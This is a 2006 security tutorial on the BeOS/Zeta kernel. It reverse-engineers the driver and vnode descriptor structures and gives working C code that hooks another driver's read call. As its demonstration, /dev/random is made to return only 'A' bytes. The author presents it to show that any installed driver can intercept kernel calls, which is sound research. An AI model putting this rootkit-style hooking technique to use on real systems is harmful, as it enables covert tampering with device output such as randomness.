02/2006 by Zadig.

Tools needed:

  • gcc.
  • reveng.
  • the kernel debugger.

Introduction:

Drivers: Programmers often trust drivers because they are part of the kernel, and thus are supposed to be well tested. Unfortunatelly you can not be sure that the data you receive/send to a driver is effectively handled by it. In this text you will see how a driver can hook the calls of another one. These tests where done on Zeta 1.1 but should also apply to BeOS R5.
I will not explain how drivers are implemented in BeOS. If you are not familliar with it you should read the bebook that explains this well.


I- Drivers managment structures.

1- Drivers descriptors.

2- Nodes descriptors.

II- Hooking a driver call.

1- Principle.

2- Hooking /dev/random calls.

III- Conclusion.


I- Drivers managment structures.

1- Drivers descriptors.

Let's start by finding the list of drivers that have been loaded by the kernel. The kernel debugger does this when you use the "dump_dev_drvr_all" command. After that you can use the "dump_dev_drvr addr" command to print the descriptor of a specific driver. You can enter to the kernel debugger at any time by typing "ctrl+alt+esc" and leave the debugger by typing "c" (continue). So let's see how he is doing this. The debugger add-on that does this is located at "/boot/beos/system/add-ons/kernel/debugger/internals". Just disassemble it and look at the "dump_dev_drvr_all" function. We see that the entry point of the list is a field of the object "gns", and more precisely the offset 0x30 of it. Thus the entry point is a structure like this:

typedef struct
{
   uint8 foo[0x30];
   struct _TS_DRVTST_drv_desc *driver_list;
   
} TS_DRVTST_sys_desc_list;
After this the driver steps through a list of drivers descriptors. By looking at the sources of the internal add-on and the kdl output we can see that a driver descriptor structure looks like this:
typedef struct _TS_DRVTST_drv_desc
{
   char  *path;
   char  *name;

   uint8 foo1[0x10];

   struct _TS_DRVTST_drv_desc *next;
   TS_DRVTST_node             *vnode_list;
   uint32   rcnt;

   uint8 foo3[0x18];

   status_t       (*init_hardware)(void);
   const char**   (*publish_devices)(void);
   device_hooks*  (*find_device)(const char *name);
   status_t       (*init_driver)(void);
   void           (*uninit_driver)(void);
   void           (*wake_driver)(void);
   void           (*suspend_driver)(void);
      
} TS_DRVTST_drv_desc;
The fields are:
  • path The path of the binary for the driver.
  • name: The name of the driver.
  • next: The next driver descriptor.
  • vnode_list: Entry point to list list of exported nodes by the driver.
  • driver api functions: The addresses of the functions exported by the driver (BeOS driver API).
Thus to find a specific driver, this simple function is necessary:
extern TS_DRVTST_sys_desc_list   *gns;

TS_DRVTST_drv_desc *DRVTST_FindDrv(char *sz_Name)
{
   TS_DRVTST_drv_desc *ps_DrvList = gns->driver_list;

   while(ps_DrvList != NULL)
   {
      if(strcmp(sz_Name, ps_DrvList->name) == 0)
         return(ps_DrvList);
      ps_DrvList = ps_DrvList->next;
   }

   return(NULL);
}

2- Nodes descriptors.

Now that we have a driver descriptor, let's find the descriptors of the nodes that he publishes. Once again there is a kdl command to do this: "dump_dev_vnode addr" This command is also exported by the "internal" add-on. Here again by looking at the kdl output and the add-on code we can find the fileds of a vnode descriptor:

typedef struct _TS_DRVTST_node
{
   uint32   vnid;
   
   uint8    foo1[4];
   
   uint32   parent;
   uint32   ns;
   char     *name;
   uint32   crtime;
   uint32   mtime;
   uint32   uid;
   uint32   gid;

   uint8    foo2[8];

   char     *path;

   uint8    foo3[8];

   struct   _TS_DRVTST_drv_desc  *drvr;
   device_open_hook              open_hook;
   device_close_hook             close_hook;
   device_free_hook              free_hook;
   device_control_hook           control_hook;
   device_read_hook              read_hook;
   device_write_hook             write_hook;
   device_select_hook            select_hook;
   device_deselect_hook          deselect_hook;
   device_readv_hook             readv_hook;
   device_writev_hook            writev_hook;

   uint8    foo4[0x1C];
   
   struct _TS_DRVTST_node  *prev;
   struct _TS_DRVTST_node  *next;         
} TS_DRVTST_node;
The fields names a self explainatory. So once again, to find a specific node we just need a simple loop:
TS_DRVTST_node* DRVTST_FindNodeInDrv(TS_DRVTST_drv_desc *ps_Desc, char *sz_Name)
{
   TS_DRVTST_node *ps_Node = ps_Desc->vnode_list;

   while(ps_Node != NULL)
   {
      if(strcmp(sz_Name, ps_Node->name) == 0)
         break;
      ps_Node = ps_Node->next;
   }
   return(ps_Node);
}

II- Hooking a driver call.

1- Principle.

Now we have all elements needed to hook a driver call. Here is how the kernel loads a driver:

  • At boot time the drivers are probed and the driver descriptors list is built.
  • When someone opens a device (via an "open" call), the kernel loads the driver into memory (if not already loaded).
  • The kernel searches for the api functions in the loaded driver (init_hardware, init_driver...) and put their addresses in the corresponding fields of the descriptor.
  • Then the open call is done the "find_device" function is called and the hooks pointers are filled in the vnode descriptor.
The important point is that if a driver wants to hook some vnode calls (open/read/write...), an instance of this vnode must be already loaded. On the other way the hooked pointers will be overwritten when the kernel will open the vnode (when calling "find_device"). To avoid this you may hook the driver api hooks but once again the driver has to be already loaded if you want to modify the functions pointers. So here is a solution to hook calls to a device:
  • Open the device you want to hook. This will force the kernel to load the driver and open an instance of the device to hook.
  • Find the driver descriptor of the device.
  • Find the vnode descriptor of the device.
  • Change the device hook pointers with other ones.

2- Hooking /dev/random calls.

Let's apply the previous algo to hook calls to "/dev/random" reads. To do this we first need a driver with and ioctl that will start hooking this device. The function that setup the hooks is:

#define HOOK_DRV  "random"

status_t DRVTST_RndHook(void)
{
   TS_DRVTST_drv_desc   *ps_Drv;
   TS_DRVTST_node *ps_Node;
   cpu_status i_Status;
   
   ps_Drv = DRVTST_FindDrv(HOOK_DRV);
   if(ps_Drv != NULL)
   {
      ps_Node = DRVTST_FindNodeInDrv(ps_Drv, HOOK_DRV);
      if( (ps_Node != NULL) && (gf_ReadHook == NULL) )
      {
         i_Status = disable_interrupts();

         gf_ReadHook = ps_Node->read_hook;
         ps_Node->read_hook = DRVTST_RndRead;

         restore_interrupts(i_Status);
      }
   }
   return(B_OK);
}
we will replace the read calls with this function that returns only "A" bytes:
status_t DRVTST_RndRead(void *cookie, off_t position, void *data, size_t *numBytes)
{
   memset(data, 'A', *numBytes);
   return(B_OK);
}
finally the userland app that will start the hook looks like this:
int main (int argc, char *argv[])
{
   int fd, fd2;

   fd2 = open("/dev/random", O_RDONLY);
   if(fd2 < 0)
   {
      printf("error while opening random\n");
      return(-1);
   }
   
   fd = open("/dev/misc/drvtest", O_RDONLY);
   if(fd < 0)
   {
      printf("error while opening device\n");
      return(-1);
   }

   if(ioctl(fd, DRV_IOCTL_HOOK_RND, NULL) < 0)
      printf("ioctl error");
  
   printf("hooked random\n");
   getchar();
   
   if(ioctl(fd, DRV_IOCTL_RSTR_RND, NULL) < 0)
      printf("ioctl error");

   printf("restored random\n");

   close(fd);
   close(fd2);
   return(0); 
}
It opens the random device to be sure that the kernel has loaded it descriptors, then it opens the test driver that will do the hook, and calls the ioctl that starts the hook. The test app then waits until you type a key to restore the orginal read call. So just start the userland app and try to read random datas:
[1751][src]$ head -c 10 /dev/random
AAAAAAAAAA
[1757][src]$
The hook worked, we read only "A" from this device.

III- Conclusion.

As you can see it is very easy for a driver to hook the calls of another driver. Since in BeOS anyone can add drivers to the system, it means that any app can hook a driver call by just adding a malicious driver in "/boot/home/config/add-ons/kernel/drivers/bin/". Things may change with the next release of Zeta that should bring user managment and thus maybe deny non priviledged users to add drivers to the system.

Zadig.